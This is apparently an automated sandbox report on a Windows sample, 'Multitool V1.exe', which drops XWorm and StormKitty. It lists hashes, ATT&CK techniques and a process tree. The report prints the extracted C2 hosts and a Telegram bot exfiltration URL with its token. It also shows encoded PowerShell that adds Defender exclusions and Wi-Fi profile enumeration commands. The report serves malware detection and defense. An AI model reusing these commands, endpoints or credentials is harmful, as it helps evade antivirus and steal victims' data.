stormkitty | b148b01f921c8ee6aab7c5cb0b27b494f7ff5632f5a7dd2cbd1ccf206a5eb1ba

Analysis

max time kernel
103s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
30/03/2025, 20:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Multitool V1.exe
Size

307KB
MD5

520f8ed0d73dbc6540fc80ac0c3847e1
SHA1

81476c36b9ea1b6d18864b90310eb95ec20e5475
SHA256

b148b01f921c8ee6aab7c5cb0b27b494f7ff5632f5a7dd2cbd1ccf206a5eb1ba
SHA512

0981f5323101a214f1ee6e57f5d10b2136213ef88b4b44e1bd769114734679c2439f6338df585712137ef01684cc7b2658a3820f79da0b196c2e7a11bb06b2e4
SSDEEP

6144:aMCOuWBJL5pt0UA8yTHsRRs6kkU7ezfQE62e3goypHp/3EvCcp3yVaG:aMCOucJL5pEDkU7Me3gpQTyVaG

Score

10^/10

stormkitty xworm collection defense_evasion discovery persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:38960

metherium-38960.portmap.host:38960

Attributes

Install_directory
%AppData%
install_file
host.exe
telegram
https://api.telegram.org/bot7283946415:AAGGT2xYjdDOFdezS7k5STvPS9SoyGQdKEg

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000800000002426b-4.dat	family_xworm
behavioral2/memory/5516-22-0x0000000000160000-0x000000000017A000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000700000002426f-21.dat	family_stormkitty
behavioral2/memory/5740-24-0x0000000000420000-0x000000000045C000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	Multitool V1.exe

Executes dropped EXE 2 IoCs

pid	Process
5516	client.exe
5740	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ipinfo.io
7	ipinfo.io
11	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3336	5740	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Multitool V1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5388	cmd.exe
3952	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5460	powershell.exe
3536	powershell.exe
3536	powershell.exe
5460	powershell.exe
5740	svchost.exe
5740	svchost.exe
5740	svchost.exe
5740	svchost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5516	client.exe
Token: SeDebugPrivilege	5460	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	5740	svchost.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 5460	5044	Multitool V1.exe	86
PID 5044 wrote to memory of 5460	5044	Multitool V1.exe	86
PID 5044 wrote to memory of 5460	5044	Multitool V1.exe	86
PID 5044 wrote to memory of 3536	5044	Multitool V1.exe	88
PID 5044 wrote to memory of 3536	5044	Multitool V1.exe	88
PID 5044 wrote to memory of 3536	5044	Multitool V1.exe	88
PID 5044 wrote to memory of 5516	5044	Multitool V1.exe	90
PID 5044 wrote to memory of 5516	5044	Multitool V1.exe	90
PID 5044 wrote to memory of 5740	5044	Multitool V1.exe	91
PID 5044 wrote to memory of 5740	5044	Multitool V1.exe	91
PID 5044 wrote to memory of 5740	5044	Multitool V1.exe	91
PID 5740 wrote to memory of 5388	5740	svchost.exe	92
PID 5740 wrote to memory of 5388	5740	svchost.exe	92
PID 5740 wrote to memory of 5388	5740	svchost.exe	92
PID 5388 wrote to memory of 1276	5388	cmd.exe	97
PID 5388 wrote to memory of 1276	5388	cmd.exe	97
PID 5388 wrote to memory of 1276	5388	cmd.exe	97
PID 5388 wrote to memory of 3952	5388	cmd.exe	99
PID 5388 wrote to memory of 3952	5388	cmd.exe	99
PID 5388 wrote to memory of 3952	5388	cmd.exe	99
PID 5388 wrote to memory of 1808	5388	cmd.exe	100
PID 5388 wrote to memory of 1808	5388	cmd.exe	100
PID 5388 wrote to memory of 1808	5388	cmd.exe	100
PID 5740 wrote to memory of 5496	5740	svchost.exe	102
PID 5740 wrote to memory of 5496	5740	svchost.exe	102
PID 5740 wrote to memory of 5496	5740	svchost.exe	102
PID 5496 wrote to memory of 2988	5496	cmd.exe	104
PID 5496 wrote to memory of 2988	5496	cmd.exe	104
PID 5496 wrote to memory of 2988	5496	cmd.exe	104
PID 5496 wrote to memory of 1356	5496	cmd.exe	105
PID 5496 wrote to memory of 1356	5496	cmd.exe	105
PID 5496 wrote to memory of 1356	5496	cmd.exe	105

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

C:\Users\Admin\AppData\Local\Temp\Multitool V1.exe
"C:\Users\Admin\AppData\Local\Temp\Multitool V1.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAcQB3ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG4AbABlACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUAB5AHQAaABvAG4AIABJAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAE4AZQBlAGQAZQBlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBwAGEAYwAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5460
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAbgB2ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAcwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAcAB6ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAbgB5ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3536
- C:\Users\Admin\AppData\Roaming\client.exe
  "C:\Users\Admin\AppData\Roaming\client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5516
- C:\Users\Admin\AppData\Local\svchost.exe
  "C:\Users\Admin\AppData\Local\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5388
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:1276
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3952
  - - C:\Windows\SysWOW64\findstr.exe
      findstr All
      4⤵
      System Location Discovery: System Language Discovery
      PID:1808
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 2396
    3⤵
    - Program crash
    PID:3336
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5496
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:2988
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:1356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5740 -ip 5740
1⤵
PID:4904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
a644cefd69e03b6971ecc5d623102f73

SHA1
9fcbb8cdb45e1d63b6f8bd8ab8a34a26e3d43b8d

SHA256
e1b932c973022efea6126c8c9e0be9bfd93cf32302cbe0bed96c2351c33ec9b5

SHA512
47356f548dbf66eca81c84a22ace9df71a56fa9865e8f694ed39504a9f728de04526692695a93f22cfdb184ea04c8cfae9108425e3617d7e9409539cca654720

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxxrfrhp.1bq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\svchost.exe

Filesize
213KB

MD5
23b83fe86a71cfba0d920fc658b3e010

SHA1
c9fd9d1dc68bcef1bfb2845d4cc35ea2a5b9d6dc

SHA256
6259f4d3310169e2b795e26a95ae21c7781abcb726322bc2eae0102546c816cf

SHA512
22a49771a71a7b4504635692d0d671223cfb4a5d5f8d892918291f1b733336b935926b67ae032f4797e3067f1d4f4aee4bf2ff2b0f2f607ea465ea6e87365ea3

Download Submit
C:\Users\Admin\AppData\Roaming\client.exe

Filesize
79KB

MD5
10db01a500572f3468f4302068d6db1e

SHA1
90589a587d2ea36451a11e650a7b0041807b3be8

SHA256
cae10e709d8f1dcf7deee20ddc601be133961ed8542f8505d3a016bbedfc9e84

SHA512
c8cdd0eae61bc94f5978673e2bbda0b7916a87b7ab582036c3b95978b404f78202f3e8f31b32e050fd7298a682382b61db8c9b13828d97786ed052720fd3b8f9

Download Submit
memory/3536-112-0x0000000007C90000-0x0000000007CA1000-memory.dmp

Filesize
68KB

Download
memory/3536-95-0x00000000707B0000-0x00000000707FC000-memory.dmp

Filesize
304KB

Download
memory/3536-118-0x0000000007DB0000-0x0000000007DB8000-memory.dmp

Filesize
32KB

Download
memory/3536-117-0x0000000007DD0000-0x0000000007DEA000-memory.dmp

Filesize
104KB

Download
memory/3536-116-0x0000000007CE0000-0x0000000007CF4000-memory.dmp

Filesize
80KB

Download
memory/3536-115-0x0000000007CD0000-0x0000000007CDE000-memory.dmp

Filesize
56KB

Download
memory/3536-30-0x00000000060E0000-0x0000000006146000-memory.dmp

Filesize
408KB

Download
memory/3536-111-0x0000000007D10000-0x0000000007DA6000-memory.dmp

Filesize
600KB

Download
memory/3536-27-0x0000000005950000-0x0000000005F78000-memory.dmp

Filesize
6.2MB

Download
memory/3536-109-0x0000000007B10000-0x0000000007B1A000-memory.dmp

Filesize
40KB

Download
memory/3536-105-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

Filesize
120KB

Download
memory/3536-106-0x0000000007770000-0x0000000007813000-memory.dmp

Filesize
652KB

Download
memory/3536-94-0x0000000007730000-0x0000000007762000-memory.dmp

Filesize
200KB

Download
memory/5460-46-0x0000000005DD0000-0x0000000006124000-memory.dmp

Filesize
3.3MB

Download
memory/5460-52-0x0000000006360000-0x00000000063AC000-memory.dmp

Filesize
304KB

Download
memory/5460-107-0x0000000007980000-0x0000000007FFA000-memory.dmp

Filesize
6.5MB

Download
memory/5460-108-0x0000000006870000-0x000000000688A000-memory.dmp

Filesize
104KB

Download
memory/5460-51-0x0000000006330000-0x000000000634E000-memory.dmp

Filesize
120KB

Download
memory/5460-110-0x00000000085B0000-0x0000000008B54000-memory.dmp

Filesize
5.6MB

Download
memory/5460-25-0x0000000002D80000-0x0000000002DB6000-memory.dmp

Filesize
216KB

Download
memory/5460-31-0x0000000005610000-0x0000000005676000-memory.dmp

Filesize
408KB

Download
memory/5460-29-0x0000000005570000-0x0000000005592000-memory.dmp

Filesize
136KB

Download
memory/5516-121-0x00007FFE74940000-0x00007FFE75401000-memory.dmp

Filesize
10.8MB

Download
memory/5516-20-0x00007FFE74943000-0x00007FFE74945000-memory.dmp

Filesize
8KB

Download
memory/5516-22-0x0000000000160000-0x000000000017A000-memory.dmp

Filesize
104KB

Download
memory/5516-114-0x00007FFE74940000-0x00007FFE75401000-memory.dmp

Filesize
10.8MB

Download
memory/5740-24-0x0000000000420000-0x000000000045C000-memory.dmp

Filesize
240KB

Download
memory/5740-26-0x0000000005280000-0x0000000005292000-memory.dmp

Filesize
72KB

Download
memory/5740-28-0x0000000005470000-0x0000000005632000-memory.dmp

Filesize
1.8MB

Download
memory/5740-62-0x0000000007340000-0x00000000073D2000-memory.dmp

Filesize
584KB

Download
memory/5740-53-0x0000000006730000-0x0000000006C5C000-memory.dmp

Filesize
5.2MB

Download